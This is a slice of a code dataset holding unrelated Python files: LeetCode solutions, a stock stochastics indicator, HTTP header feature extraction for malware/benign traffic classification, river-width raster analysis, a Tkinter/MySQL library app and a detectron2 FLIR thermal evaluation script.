Exception(\n 'Font: character not found error [{}]'.format(char)\n )\n return Image(pixmap=self.font[char])\n\n\nclass Text(Image):\n \"\"\"\n A Text is an Image with characters pasted to it from a Font.\n\n Keyword arguments:\n text -- text to be written (default '')\n spacing -- spacing size between characters (default 1)\n font -- font file to be used from FONT_DIR (default None)\n \"\"\"\n\n DEFAULT_FONT = 'font'\n\n def __init__(self, text='', spacing=1, font=None):\n super(Image, self).__init__()\n self.edit(text, spacing, font)\n\n def generate(self):\n \"\"\"\n Blank the Text and paste all letters on it\n \"\"\"\n self.width = \\\n self.gen_width() + len(self.text) * self.spacing - self.spacing\n self.height = self.gen_height()\n self.blank()\n self.print_letter()\n\n def edit(self, text='', spacing=1, font=None):\n \"\"\"\n Blank the current Text and generate a new one with \"text\".\n\n Keyword arguments:\n text -- text to be written (default '')\n spacing -- spacing size between characters (default 1)\n font -- font file to be used from FONT_DIR (default None)\n \"\"\"\n self.spacing = spacing\n self.text = str(text).strip('\\n')\n if self.text == '':\n self.text = ' '\n\n elif font is None:\n font = Text.DEFAULT_FONT\n\n if not hasattr(self, 'font'): # Load font once\n self.edit_font(font)\n elif self.font.font_file != FONT_DIR + font + '.txt':\n self.edit_font(font)\n\n self.generate()\n\n def edit_font(self, font=None):\n if font is None:\n font = Text.DEFAULT_FONT\n self.font = Font(font)\n\n def gen_width(self) -> int:\n \"\"\"Compute the width of a string\"\"\"\n current_width = []\n width = []\n for i in self.text:\n for j in self.font.char(i).get_pixmap():\n current_width.append(len(j))\n width.append(max(current_width))\n current_width = []\n return sum(width)\n\n def gen_height(self) -> int:\n \"\"\"Compute the max height of characters in a string\"\"\"\n height = [\n max([len(self.font.char(i).get_pixmap()) for i in self.text])]\n return max(height)\n\n def print_letter(self):\n cursor = 0\n for letter in self.text:\n character = self.font.char(letter)\n self.paste(character, x=cursor, y=0, mode='fill')\n cursor += len(character.get_pixmap()[0]) + self.spacing\n","sub_path":"source/libs/text.py","file_name":"text.py","file_ext":"py","file_size_in_byte":3879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"466190669","text":"class Solution:\n def numSubarraysWithSum(self, A: List[int], S: int) -> int:\n # if current ones bigger than S, shorten the window\n def atMost(target):\n start, count = 0, 0\n\n for end, num in enumerate(A):\n target -= num\n while target < 0 and start <= end:\n target += A[start]\n start += 1\n count += end - start + 1\n return count\n\n return atMost(S) - atMost(S - 1)\n\n\n \"\"\"\n # sliding window\n start = cur_sum = 0\n count, res = 0, 0\n for end, num in enumerate(A):\n cur_sum += num\n\n # reset count to 0 and try to increase the left pointer.\n # if the cur_sum is not S yet, it wouldn't affect anything\n # if the cur_sum is equal to S, cur_sum must change and we need recount\n if num == 1:\n count = 0\n\n while start <= end and cur_sum >= S:\n if cur_sum == S:\n count += 1\n\n cur_sum -= A[start]\n start += 1\n res += count\n\n return res\n \"\"\"\n \"\"\"\n def atMost(k):\n start, count = 0, 0\n\n for end, num in enumerate(A):\n k -= num\n while k < 0 and start <= end:\n k += A[start]\n start += 1\n count += end - start + 1\n return count\n\n return atMost(S) - atMost(S - 1)\n \"\"\"\n\n \"\"\"\n # hash map\n c = collections.Counter({0: 1})\n psum = res = 0\n for i in A:\n psum += i\n res += c[psum - S]\n c[psum] += 1\n return res\n \"\"\"","sub_path":"Leetcode_By_Topic/sliding-930.py","file_name":"sliding-930.py","file_ext":"py","file_size_in_byte":1760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"323024658","text":"import math\nimport pandas as pd\nfrom kabutobashi.method.method import Method\n\n\nclass Stochastics(Method):\n \"\"\"\n 買いのシグナルを計算で求める\n\n * %K・%D共に20%以下の時に、%Kが%Dを下から上抜いた時\n * %D・スロー%D共に20%以下の時に、%Dがスロー%Dを下から上抜いた時\n\n See Also:\n * https://www.moneypartners.co.jp/support/tech/sct.html\n\n \"\"\"\n\n def __init__(self):\n super().__init__(method_name=\"stochastics\")\n\n def _method(self, _df: pd.DataFrame) -> pd.DataFrame:\n\n _df['close'] = _df['close'].astype(float)\n _df['low'] = _df['low'].astype(float)\n _df['high'] = _df['high'].astype(float)\n _df['K'] = Stochastics._fast_stochastic_k(_df['close'], _df['low'], _df['high'], 9)\n _df['D'] = Stochastics._fast_stochastic_d(_df['K'])\n _df['SD'] = Stochastics._slow_stochastic_d(_df['D'])\n return _df\n\n def _signal(self, _df: pd.DataFrame) -> pd.DataFrame:\n \"\"\"\n 買いと売りに関する指標を算出する\n \"\"\"\n _df = _df.assign(\n shift_K=lambda x: x['K'].shift(1),\n shift_D=lambda x: x['D'].shift(1),\n shift_SD=lambda x: x['SD'].shift(1),\n )\n\n # 複数引数は関数を利用することで吸収\n _df['buy_signal'] = _df.apply(self._buy_signal_index_internal, axis=1)\n _df['sell_signal'] = _df.apply(self._sell_signal_index_internal, axis=1)\n return _df\n\n @staticmethod\n def _fast_stochastic_k(close, low, high, n):\n return ((close - low.rolling(window=n, center=False).min()) / (\n high.rolling(window=n, center=False).max() - low.rolling(window=n, center=False).min())) * 100\n\n @staticmethod\n def _fast_stochastic_d(stochastic_k):\n # ストキャスの%Dを計算(%Kの3日SMA)\n return stochastic_k.rolling(window=3, center=False).mean()\n\n @staticmethod\n def _slow_stochastic_d(stochastic_d):\n # ストキャスの%SDを計算(%Dの3日SMA)\n return stochastic_d.rolling(window=3, center=False).mean()\n\n @staticmethod\n def _buy_signal_index_internal(x: pd.Series) -> float:\n return Stochastics._buy_signal_index(x['K'], x['D'], x['SD'], x['shift_K'], x['shift_D'], x['shift_SD'])\n\n @staticmethod\n def _buy_signal_index(current_k, current_d, current_sd, prev_k, prev_d, prev_sd) -> float:\n if (current_k > 30) | (current_d > 30) | (current_sd > 30):\n return 0\n\n # %K・%D共に20%以下の時に、%Kが%Dを下から上抜いた時\n if current_k < 20 and current_d < 20:\n if (prev_d > prev_k) and (current_d < current_k):\n return current_k - current_d\n\n # %D・スロー%D共に20%以下の時に、%Dがスロー%Dを下から上抜いた時\n if current_d < 20 and current_sd < 20:\n if (prev_sd > prev_d) and (current_sd < current_d):\n return current_d - current_sd\n return 1 / math.exp(math.pow(current_k - 20, 2) / 100\n + math.pow(current_d - 20, 2) / 100\n + math.pow(current_sd - 20, 2) / 100)\n\n @staticmethod\n def _sell_signal_index_internal(x: pd.Series) -> float:\n return Stochastics._sell_signal_index(x['K'], x['D'], x['SD'], x['shift_K'], x['shift_D'], x['shift_SD'])\n\n @staticmethod\n def _sell_signal_index(current_k, current_d, current_sd, prev_k, prev_d, prev_sd) -> float:\n if (current_k < 70) | (current_d < 70) | (current_sd < 70):\n return 0\n\n # %K・%D共に80%以上の時に、%Kが%Dを上から下抜いた時\n if current_k > 80 and current_d > 80:\n if (prev_d < prev_k) and (current_d > current_k):\n return current_d - current_k\n\n # %D・スロー%D共に80%以上の時に、%Dがスロー%Dを上から下抜いた時\n # %D・スロー%D共に20%以下の時に、%Dがスロー%Dを下から上抜いた時\n if current_d > 80 and current_sd > 80:\n if (prev_sd < prev_d) and (current_sd > current_d):\n return current_d - current_sd\n return 1 / math.exp(math.pow(current_k - 20, 2) / 100\n + math.pow(current_d - 20, 2) / 100\n + math.pow(current_sd - 20, 2) / 100)\n","sub_path":"kabutobashi/method/stochastics.py","file_name":"stochastics.py","file_ext":"py","file_size_in_byte":4382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"584224550","text":"# @Time : 2019/6/10 7:43\n# @Author : Xu Huipeng\n# @Blog : https://brycexxx.github.io/\n\nfrom typing import Optional\n\n\n# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n\nclass Solution:\n def sortedListToBST(self, head: ListNode) -> Optional[TreeNode]:\n if not head: return\n\n def get_mid(head: ListNode) -> ListNode:\n slow = fast = head\n pre = None\n while fast and fast.next:\n pre = slow\n slow = slow.next\n fast = fast.next.next\n if pre: pre.next = None\n return slow\n\n mid = get_mid(head)\n left = head if head is not mid else None\n right = mid.next\n root = TreeNode(mid.val)\n root.left = self.sortedListToBST(left)\n root.right = self.sortedListToBST(right)\n return root\n","sub_path":"sortedListToBST.py","file_name":"sortedListToBST.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"314743249","text":"class Solution(object):\n def numSquares(self, n):\n \"\"\"\n :type n: int\n :rtype: int\n \"\"\"\n squares = [i * i for i in range(int(n ** 0.5 + 1))];\n for a in squares:\n for b in squares:\n for c in squares:\n for d in squares:\n if a + b + c + d == n:\n return (a > 0) + (b > 0) + (c > 0) + (d > 0);\n\n#test case\nsolution = Solution();\nprint(solution.numSquares(2));","sub_path":"LeetCode(Python)/279.py","file_name":"279.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"189245549","text":"def isBetween(check,mn,mx,):\n if (((check > mn) and (check < mx)) or ((check > mn) and (check < mx))):\n return True\n else:\n return False\n\ndef inCity(mapGrid,cityGrids):\n for c in cityGrids:\n latChk = False\n lngChk = False\n for line in range(2):\n if (isBetween(mapGrid[line],c[1],c[2])):\n latChk = True\n print(\"lat:\" + str(latChk))\n for line in range(2,4):\n if (isBetween(mapGrid[line],c[3],c[4])):\n lngChk = True\n print(\"lng:\" + str(lngChk))\n \n if (latChk and lngChk):\n return c[0]\n\n return False\n\ncGrid = [['sanfran',40,41,70,72],['whur',-50,-48,-72,-70]]\nmGrids = [[38,39,68,69],[38,40.5,68,69],[38,39,71,78],[36,40.5,71,78]]\n\nfor m in mGrids:\n x = inCity(m,cGrid)\n print(x)\n","sub_path":"PyServer/overlapDev.py","file_name":"overlapDev.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"200480494","text":"def shift(arr, start):\n i = len(arr)- 1\n while i >= start:\n arr[i] = arr[i-1]\n i -= 1\n return arr\n\ndef mergingArray(n, m):\n npointer = 0\n mpointer = 0\n while mpointer < len(m) and npointer < len(n):\n if n[npointer] == None:\n n[npointer] = m[mpointer]\n while m[mpointer] < n[npointer]:\n n = shift(n, npointer)\n n[npointer] = m[mpointer]\n mpointer += 1\n npointer += 1\n return n\n\n#arr1 = [5,9,15,20,None,None,None,None,None,None]\n#arr2 = [1,3,6,8,18,35]\nprint(mergingArray(arr1, arr2))\n","sub_path":"mergeArray.py","file_name":"mergeArray.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"183579678","text":"import ujson as json\nimport sys\nimport gzip\nfrom collections import defaultdict\nimport argparse\nimport os\nimport numpy as np\nimport urllib, re\nimport time\n\n#This file is used to collect the most common feature HTTP\nnonPresenceField = [\"content-type\", \"user-agent\", \"accept-language\", \"server\", \"code\"]\n\ndef extractCommonHTTP(http, httpCommon):\n\tif \"totalHTTP\" in list(http.keys()):\n\t\tfield = \"totalHTTP\"\n\t\tif field not in httpCommon:\n\t\t\thttpCommon[field] = np.uint64(http[field])\n\t\telse:\n\t\t\thttpCommon[field] += np.uint64(http[field])\n\t\t\t\t\n\tif '0' in list(http.keys()):\n\t\thttp = http['0']\n\telse:\t\t\n\t\treturn\t\n\n\tfor field in list(http.keys()):\n\t\tif field in nonPresenceField:\n\t\t\tif field not in httpCommon:\n\t\t\t\thttpCommon[field] = defaultdict()\n\t\t\tfor key in list(http[field].keys()):\n\t\t\t\tif key not in httpCommon[field]:\n\t\t\t\t\thttpCommon[field][key] = np.uint64(http[field][key])\n\t\t\t\telse:\n\t\t\t\t\thttpCommon[field][key] += np.uint64(http[field][key])\n\t\telse:\n\t\t\tif field not in httpCommon:\n\t\t\t\thttpCommon[field] = np.uint64(http[field])\n\t\t\telse:\n\t\t\t\thttpCommon[field] += np.uint64(http[field])\n\n\ndef finalize(httpCommon):\n\tthreshHold = 0.01\n\tfinalHTTP = defaultdict()\n\n\t#for non-presence\n\tpresenceCount = defaultdict()\n\tfor field in nonPresenceField:\n\t\tif field not in httpCommon:\n\t\t\tcontinue \n\t\tfieldList = []\n\t\tfor key in httpCommon[field]:\n\t\t\tfieldList.append( (key, httpCommon[field][key]) )\n\t\tfieldList.sort(key=lambda x: x[1], reverse=True)\n\t\tpresenceCount[field] = sum([x[1] for x in fieldList])\n\t\twhile (len(fieldList) > 0) and (float(fieldList[-1][1])/presenceCount[field] < threshHold):\n\t\t\ttmp = fieldList.pop()\n\t\t\t#print(\"Remove field \" + str(tmp[0]) + \" with probability \" + str(float(tmp[1])/presenceCount[field]) + \" from \" + field) #verbose\n\t\tfieldDict = defaultdict()\n\t\tfor i in range(0, len(fieldList)):\n\t\t\tfieldDict[fieldList[i][0]] = i\n\t\tfinalHTTP[field] = fieldDict\n\n\t#for presence\n\tfieldList = []\n\tfor field in httpCommon:\n\t\tif field == \"totalHTTP\":\n\t\t\tcontinue\n\t\tif field in nonPresenceField:\n\t\t\tfieldList.append( (field, float(presenceCount[field])/httpCommon[\"totalHTTP\"]) )\n\t\telse:\n\t\t\tfieldList.append( (field, float(httpCommon[field])/httpCommon[\"totalHTTP\"]) )\n\tfieldList.sort(key=lambda x: x[1], reverse=True)\n\twhile len(fieldList) > 0 and fieldList[-1][1] < threshHold:\n\t\ttmp = fieldList.pop()\n\t\t#print(\"Remove field \" + str(tmp[0]) + \" with probability \" + str(tmp[1]) + \" from presence\") #verbose\n\tfieldDict = defaultdict()\n\tfor i in range(0, len(fieldList)):\n\t\tfieldDict[fieldList[i][0]] = i\n\tfinalHTTP[\"presence\"] = fieldDict\n\treturn finalHTTP\n\n\ndef main():\n\tparser = argparse.ArgumentParser(description=\"Collect Most Common HTTP Features in Dataset\", add_help=True)\n\tparser.add_argument('-i', '--input', action=\"store\", help=\"The input folder containing HTTP JSON files\")\n\tparser.add_argument('--select', action=\"store\", help=\"The VALID selection JSON file with both key Malware and key Benign\")\n\targs = parser.parse_args()\n\n\tif args.input == None or not os.path.isdir(args.input):\n\t\tprint(\"No valid input folder!\")\n\t\treturn\n\telse:\n\t\thttpFolder = args.input\n\t\tif not httpFolder.endswith('/'):\n\t\t\thttpFolder += '/'\n\n\tparentFolder = os.path.abspath(os.path.join(httpFolder, os.pardir))\n\tif not parentFolder.endswith('/'):\n\t\tparentFolder += '/'\n\tHTTP_COMMON_Folder = parentFolder+\"HTTP_COMMON/\"\n\tif not os.path.exists(HTTP_COMMON_Folder):\n\t\tos.mkdir(HTTP_COMMON_Folder)\n\thttpCommonFileName = HTTP_COMMON_Folder + \"httpCommon.json\"\n\n\thttpCommon = defaultdict()\n\tif args.select == None:\n\t\tfiles = os.listdir(httpFolder)\n\telse:\n\t\twith open(args.select, 'r') as fp:\n\t\t\tselMap = json.load(fp)\n\t\t\tcandList = selMap[\"Benign\"] + selMap[\"Malware\"]\n\t\t\tfiles = [x+\"_HTTP.json\" for x in candList]\n\tfor file in files:\n\t\t#print(file) #verbose\n\t\twith open(httpFolder+file, 'r') as fp:\n\t\t\thttp = json.load(fp)\n\t\t\textractCommonHTTP(http, httpCommon)\n\tfinalHTTP = finalize(httpCommon)\n\tjson.dump(finalHTTP, open(httpCommonFileName, 'w'))\n\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"daalCollectCommonHTTP.py","file_name":"daalCollectCommonHTTP.py","file_ext":"py","file_size_in_byte":3983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"115780011","text":"# -*- coding: utf-8 -*-\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport quiz_dataModified as qd\nimport numpy as np\n\ndef print3D():\n fig = plt.figure(figsize=(9,6))\n ax = Axes3D(fig)\n \n evalData = qd.QuizLine(\"evaluateDataNineOut.xlsx\")\n x,y,z = getDimonData(evalData.features, evalData.labels)\n print(len(x))\n \n ax.scatter(x, y, z, s=10, c='r')\n \n ax.set_xlabel('0th feature')\n ax.set_ylabel('1th feature')\n ax.set_zlabel('label')\n plt.show()\n\ndef getDimonData(feature_list, label_list):\n x=[]\n y=[]\n z=[]\n for data in feature_list:\n x.append(data[0])\n y.append(data[1])\n for data in label_list:\n z.append(np.argmax(data))\n return x, y, z\n\nif __name__ == '__main__':\n print3D()","sub_path":"quiz_trainer/printData3D.py","file_name":"printData3D.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"456983720","text":"import os\n\nimport rasterio\nfrom rasterio import transform\nfrom skimage import measure\nfrom sklearn.neighbors import NearestNeighbors, KDTree\nfrom scipy import spatial\nfrom matplotlib import pyplot as plt\nimport numpy as np\nimport networkx as nx\nimport pandas\nfrom shapely.geometry import Polygon\nfrom shapely.geometry import LineString\nfrom shapely.geometry import MultiLineString\nfrom shapely.geometry import Point \nfrom shapely.geometry import MultiPoint \nfrom shapely import affinity\nfrom shapely import ops\nimport geopandas as gpd\n\nfrom PyRivers import Centerline \n\n\ndef cleanChannel(image):\n labels = measure.label(image)\n # assume at least 1 CC\n assert( labels.max() != 0 )\n # Find largest connected component\n bins = np.bincount(labels.flat)[1:] \n channel = labels == np.argmax(np.bincount(labels.flat)[1:])+1\n channel = Centerline.fillHoles(channel)\n\n return channel\n\n\ndef getDirection(centerline_i, neighbors):\n\n # Get direction of the centerline at segment\n # Get lowest index\n mini = centerline_i[neighbors.min()]\n # Get largest index\n maxi = centerline_i[neighbors.max()]\n # Get x change\n dx = (mini[0] - maxi[0])\n # Get y change\n dy = (mini[1] - maxi[1])\n\n # Get direction of cross-section at segment\n cross_dx = -dy\n cross_dy = dx\n\n return cross_dx, cross_dy\n\n\ndef createCrossSection(location, direction, xprop, yprop):\n xoffset = direction[0] * xprop\n yoffset = direction[1] * yprop\n\n A = [(location[0] + xoffset), (location[1] + yoffset)]\n B = [(location[0] - xoffset), (location[1] - yoffset)]\n\n return LineString([A, B])\n\n\ndef createChannelPolygon(contours):\n polygons = []\n longest = 0\n # Make polygons and find the longest contour\n for i, contour in enumerate(contours):\n\n # Find the longest polygon\n if len(contour) > longest:\n longest_i = i\n longest = len(contour)\n\n # Append to list of polygons\n polygons.append(Polygon(contour))\n\n # find which polygons fall within the longest\n inners = []\n for i, polygon in enumerate(polygons):\n # Save the river polygon\n river_polygon = polygons[longest_i]\n\n # If the polygon is the river polygon move to the next\n if i == longest_i:\n continue\n\n # See if the polygon is within the river polygons\n if river_polygon.contains(polygon):\n inners.append(polygon)\n\n return Polygon(\n river_polygon.exterior.coords, \n [inner.exterior.coords for inner in inners]\n )\n\n\ndef intersectionWidth(segment, cross_section, river_poly):\n # Find coordinates where there is intersection\n\n # Have to handle the error if there are multiple points\n try:\n intersect_coords = np.array(\n cross_section.intersection(river_poly.buffer(0)).xy\n ).transpose()\n except NotImplementedError:\n inters = cross_section.intersection(river_poly.buffer(0))\n if len(inters) == 0:\n return None, np.empty(0)\n\n for i, inter in enumerate(inters):\n if i == 0:\n intersect_coords = np.array(inter.xy).transpose()\n else:\n intersect_coords = np.vstack([\n intersect_coords,\n np.array(inter.xy).transpose()\n ])\n\n# t1 = river_poly.buffer(0).exterior.xy\n# t2 = cross_section.xy\n# plt.scatter(t1[0], t1[1])\n# plt.plot(t2[0], t2[1])\n# for inter in river_poly.interiors:\n# t3 = inter.xy\n# plt.scatter(t3[0], t3[1])\n# plt.show()\n\n # Find distances between segment and intersecting points\n tree = spatial.KDTree(intersect_coords)\n distance, neighbors = tree.query(segment, 2)\n\n width_points = intersect_coords[neighbors]\n\n return np.linalg.norm(width_points[0]-width_points[1]), width_points\n\n\ndef sortCenterline(centerline_i):\n \"\"\"\n This method unfortunately reduces the centerline to a single path\n \"\"\"\n G = nx.Graph()\n tree = KDTree(centerline_i, leaf_size=2, metric='euclidean') # Create a distance tree\n for p in centerline_i:\n dist, ind = tree.query(p.reshape(1,-1), k=3)\n p = (p[0], p[1])\n G.add_node(p)\n\n n1, l1 = centerline_i[ind[0][1]], dist[0][1]\n n2, l2 = centerline_i[ind[0][2]], dist[0][2]\n\n n1 = (n1[0], n1[1])\n n2 = (n2[0], n2[1])\n G.add_edge(p, n1)\n G.add_edge(p, n2)\n\n source = tuple(centerline_i[0])\n target = tuple(centerline_i[-1])\n\n return np.array(\n nx.shortest_path(G, source=source, target=target)\n )\n\n\ndef getWidths(image, centerline, step=5):\n channel = cleanChannel(image)\n contours = measure.find_contours(channel, 0.5, fully_connected='high')\n\n # Get centerline steps\n centerline_i = np.array(np.where(centerline == 1)).transpose()\n\n # Sort the centerline\n# centerline_i = sortCenterline(centerline_i)\n\n segments_i = centerline_i[0::step]\n # Initialize the tree\n tree = spatial.KDTree(centerline_i)\n # Convert the channel to polygon object\n river_poly = createChannelPolygon(contours)\n\n # Structure for widths\n data = {\n 'rowi': [],\n 'coli': [],\n 'width': [],\n 'width_rowi': [],\n 'width_coli': [],\n }\n for i, segment in enumerate(segments_i):\n if i == 0:\n continue\n # Get direction of the channel in the segment\n distance, neighbors= tree.query(segment, 12)\n direction = getDirection(centerline_i, neighbors)\n cross_section = createCrossSection(segment, direction, 15, 15)\n width, width_points = intersectionWidth(segment, cross_section, river_poly)\n\n data['rowi'].append(segment[1])\n data['coli'].append(segment[0])\n data['width'].append(width)\n if len(width_points) == 0:\n data['width_rowi'].append(None)\n data['width_coli'].append(None)\n else:\n data['width_rowi'].append(width_points[:, 1])\n data['width_coli'].append(width_points[:, 0])\n\n width_df = pandas.DataFrame(data)\n\n return width_df, river_poly\n\n\ndef getCoordinates(dstransform, width_df):\n new_data = {\n 'lon': [],\n 'lat': [],\n 'width_lons': [],\n 'width_lats': []\n }\n for idx, row in width_df.iterrows():\n lon, lat = transform.xy(dstransform, row['coli'], row['rowi'])\n new_data['lon'].append(lon)\n new_data['lat'].append(lat)\n\n width_lons, width_lats = transform.xy(\n dstransform, \n row['width_coli'], \n row['width_rowi']\n )\n new_data['width_lons'].append(width_lons)\n new_data['width_lats'].append(width_lats)\n\n width_df['lon'] = new_data['lon']\n width_df['lat'] = new_data['lat']\n width_df['width_lons'] = new_data['width_lons']\n width_df['width_lats'] = new_data['width_lats']\n\n return width_df\n","sub_path":"build/lib/PyRivers/Width.py","file_name":"Width.py","file_ext":"py","file_size_in_byte":6899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"45500942","text":"from tkinter import *\r\nfrom PIL import ImageTk,Image\r\nimport pymysql\r\nfrom tkinter import messagebox\r\nimport io\r\nfrom urllib.request import urlopen\r\nfrom Search import *\r\nfrom advanced import *\r\nfrom UserFine import *\r\nfrom BorrowedBooks import *\r\nfrom ReservedBooks import *\r\nfrom ViewAllBooks import *\r\nimport datetime\r\nfrom PIL import Image\r\n\r\nclient = MongoClient()\r\nbook = client.Library\r\ncollection = book.book\r\n\r\nmypass = \"password\"#use your own password\r\nmydatabase=\"book2\" #The database name\r\ncon = pymysql.connect(host=\"localhost\",user=\"root\",\r\n password=mypass,database=mydatabase)\r\n#root is the username here\r\ncur = con.cursor() #cur -> cursor\r\n\r\n\r\n\r\ndef main(userID):\r\n root = Tk()\r\n root.title(\"Library\")\r\n root.minsize(width=560,height=400)\r\n root.geometry(\"700x700\")\r\n\r\n # def CheckFine(UserID):\r\n # cur.execute(\"SELECT FineAmount FROM fine WHERE UserID = %s\", UserID)\r\n # fineamt = cur.fetchone()[0]\r\n # CheckDueDate = \"SELECT DueDate FROM book2.borrowedbooks where BorrowedUserID = '\" + UserID + \"'\";\r\n # cur.execute(CheckDueDate)\r\n # DueDate = cur.fetchall()\r\n # fineAmt = 0\r\n # for bookDueDate in DueDate:\r\n # today = datetime.date.today()\r\n # fineDays = (today - bookDueDate[0]).days\r\n # if fineDays > 0:\r\n # fineAmt += int(fineDays)\r\n # Fine = fineamt + fineAmt\r\n # sql = \"UPDATE fine Set FineAmount = '\" + str(Fine) + \"' WHERE UserID = '\" + UserID + \"'\"\r\n # cur.execute(sql)\r\n # con.commit()\r\n # if Fine > 0:\r\n # cur.execute(\"DELETE FROM reservedbooks WHERE ReservedUserID = '\" + UserID + \"'\")\r\n # con.commit()\r\n # CheckFine(userID)\r\n\r\n def resize_image(event):\r\n new_width = event.width\r\n new_height = event.height\r\n image = copy_of_image.resize((new_width, new_height))\r\n photo = ImageTk.PhotoImage(image)\r\n label.config(image=photo)\r\n label.image = photo\r\n\r\n image = Image.open(\"shunya-koide-1emWndlDHs0-unsplash.jpg\")\r\n copy_of_image = image.copy()\r\n photo = ImageTk.PhotoImage(image)\r\n label=Label(root, image=photo)\r\n label.pack(fill=BOTH, expand=YES)\r\n label.bind('', resize_image)\r\n\r\n cur.execute(\"SELECT Uname from user WHERE UserID = %s\", userID)\r\n name = cur.fetchone()[0]\r\n\r\n\r\n headingFrame1 = Frame(root,bg=\"floral white\",bd=5)\r\n headingFrame1.place(relx=0.2,rely=0.1,relwidth=0.6,relheight=0.16)\r\n headingLabel = Label(headingFrame1, text=\"Welcome, \" + name, bg='floral white', fg='black', font=('Courier',18, 'bold'))\r\n headingLabel.place(relx=0,rely=0, relwidth=1, relheight=1)\r\n\r\n btn0 = Button(root, text=\"The Library\", font=('Courier', 12, 'bold'), bg='mintcream', fg='black',\r\n command=lambda: ViewAllBooks(userID))\r\n btn0.place(relx=0.28, rely=0.55, relwidth=0.45, relheight=0.1)\r\n\r\n btn1 = Button(root, text=\"My Borrowed Books\",font=('Courier',12, 'bold') , bg='mintcream', fg='black',\r\n command=lambda: MemberViewBorrowedBooks(userID))\r\n btn1.place(relx=0.28, rely=0.65, relwidth=0.45, relheight=0.1)\r\n\r\n btn2 = Button(root, text=\"My Reserved Books\", font=('Courier',12, 'bold') , bg='mintcream', fg='black',\r\n command=lambda: MemberViewReservedBooks(userID))\r\n btn2.place(relx=0.28, rely=0.75, relwidth=0.45, relheight=0.1)\r\n\r\n btn3 = Button(root, text=\"My Fines\",font=('Courier',12, 'bold') ,bg='mintcream', fg='black',command=lambda: ViewUserFines(userID))\r\n btn3.place(relx=0.28, rely=0.85, relwidth=0.45, relheight=0.1)\r\n\r\n fram = Frame(root, bg='mintcream', width = 400, height = 100)\r\n Label(fram,font=('Courier', 9,'bold'), bg='mintcream', fg='black', text='Book Search:').pack(side=LEFT)\r\n edit = Entry(fram)\r\n edit.pack(side=LEFT, fill=BOTH,expand=1)\r\n edit.focus_set()\r\n\r\n bt = Button(fram, text=\"Advanced\", bg='mintcream',font=('Courier', 9,'bold'), fg='black',command=lambda: advancedWindow())\r\n bt.configure(width=8,height=4)\r\n bt.pack(side=RIGHT)\r\n\r\n butt = Button(fram, text='Find', bg='mintcream',font=('Courier', 9, 'bold'), fg='black', command= lambda: searchWindow(edit.get()))\r\n butt.configure(width=5, height=4)\r\n butt.pack(side=RIGHT)\r\n fram.pack(side=TOP)\r\n fram.place(relx=0.28, rely=0.4, relwidth=0.5, relheight=0.045)\r\n\r\n root.bind('', lambda event : searchWindow(edit.get()))\r\n\r\n root.mainloop()\r\n\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"270447484","text":"# import some common detectron2 utilities\nfrom detectron2.engine import DefaultPredictor, DefaultTrainer\nfrom detectron2.config import get_cfg\nfrom detectron2.utils.visualizer import Visualizer\nfrom detectron2.data import DatasetCatalog, MetadataCatalog\nfrom detectron2.data.datasets import register_coco_instances\nfrom detectron2.evaluation import FLIREvaluator, inference_on_dataset\nfrom detectron2.data import build_detection_test_loader\nfrom os.path import isfile, join\nimport numpy as np\nimport torch\nimport cv2\nimport os\nimport pickle\nimport pdb\n\ndef test(cfg, dataset_name, file_name='FLIR_thermal_only_result.out'):\n \n cfg.DATASETS.TEST = (dataset_name, )\n predictor = DefaultPredictor(cfg)\n #evaluator_FLIR = FLIREvaluator(dataset_name, cfg, False, output_dir=out_folder, out_pr_name='pr_val.png')\n \n out_name = out_folder + file_name\n #pdb.set_trace()\n evaluator_FLIR = FLIREvaluator(dataset_name, cfg, False, output_dir=out_folder, save_eval=True, out_eval_path=out_name)\n #DefaultTrainer.test(cfg, trainer.model, evaluators=evaluator_FLIR)\n val_loader = build_detection_test_loader(cfg, dataset_name)\n inference_on_dataset(predictor.model, val_loader, evaluator_FLIR)\n#Set GPU\ntorch.cuda.set_device(0)\n\n# get path\ndataset = 'FLIR'\nout_folder = 'out/mAP/'\n\n# Train path\ntrain_path = '../../../Datasets/'+ dataset +'/train/thermal_8_bit/'\ntrain_folder = '../../../Datasets/FLIR/train/thermal_8_bit'\n#train_json_path = '../../../Datasets/'+dataset+'/train/thermal_annotations_small.json'\ntrain_json_path = '../../../Datasets/'+dataset+'/train/thermal_annotations_3_channel_no_dogs.json'\n# Validation path\nval_path = '../../../Datasets/'+ dataset +'/val/thermal_8_bit/'\nval_folder = '../../../Datasets/FLIR/val/thermal_8_bit'\n#val_json_path = '../../../Datasets/'+dataset+'/val/thermal_annotations_new.json'\nval_json_path = '../../../Datasets/'+dataset+'/val/thermal_RGBT_pairs_3_class.json'#thermal_RGBT_pairs_3_class.json'#thermal_annotations_3_channel_no_dogs.json'#thermal_annotations_4_channel_no_dogs.json'\n#thermal_annotations_4_channel_no_dogs_Day.json\n\n\"\"\"\n# Register dataset\ndataset = 'FLIR_train'\nregister_coco_instances(dataset, {}, train_json_path, 